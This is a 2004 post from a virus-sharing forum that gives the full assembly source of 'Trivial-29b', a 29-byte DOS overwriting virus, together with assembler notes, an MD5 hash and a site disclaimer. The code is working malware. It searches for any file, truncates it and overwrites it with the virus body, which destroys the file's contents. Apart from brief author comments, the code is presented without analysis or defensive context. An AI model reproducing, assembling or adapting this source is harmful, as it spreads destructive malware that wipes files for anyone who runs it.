BETA!
webmaster@virusexperts.com
Site Navigation:

 · Home · Statistics · Registration · Search · FAQ · Language ·

 Virus Experts Forums —› Source Code —› 29bytes.asm / Trivial-29b
Last poster Message


Posted: 28-Apr-2004 23:03:12 · Edited by: amir

The following source code is dated

12/26/1993 03:24a 943 29BYTES.ASM
12/26/1993 03:25a 29 29BYTES.COM


Source: unknown.
Assembles with: TASM, A86
Official name: Trivial-29b
MD5: fbd22b7cfd4547241450b30119b1965e

;Smallest in the trivial series of viruses, I think.... 

;Last I saw was 30 bytes - this one goes to 29.
;Code by Stormbringer... stupid virus, but small.

.model tiny
.radix 16
.code
org 100
start:

FindFile:
xchg cx,ax ;ax defaults to zero on runtime - cx doesn't
push si ;si defaults to 100h under dos - use this l8r
mov dx,offset filemask
mov ah,4e
int 21

OverwriteFile:
mov dx,9e
mov ah,3c
int 21

WriteVirus:
xchg bx,ax
mov ah,40
pop dx ;get 100h from si earlier for write pointer
mov cl,endvir-start ;move only to CL, CH is already zero
int 21

Terminate:
ret ;terminate by returning to PSP (Int 20)

filemask db '*.*',0
endvir:
end start
 

Page loading time (sec.): 0.013
Powered by miniBB. The views expressed on this forum do not necessarily reflect the views of Virus Experts.com or any of its members. This website does not condone or support illegal activities of any kind, including, but not limited to hacking, cracking, authoring of viruses to cause harm, or exploitation of security vulnerabilties of any kind. It merely provides an alternative resource for those persons that are interested in knowing how to create, assemble, and analyze viruses and other "malware." Before using this site, please make sure you are protected by the First Amendment (U.S.) or a similar personal privacy law in your country; if not, we advise you to leave this site immediately. Virus Experts, including any of its staff, is not responsible for the non-educational misuse of any content found on this site.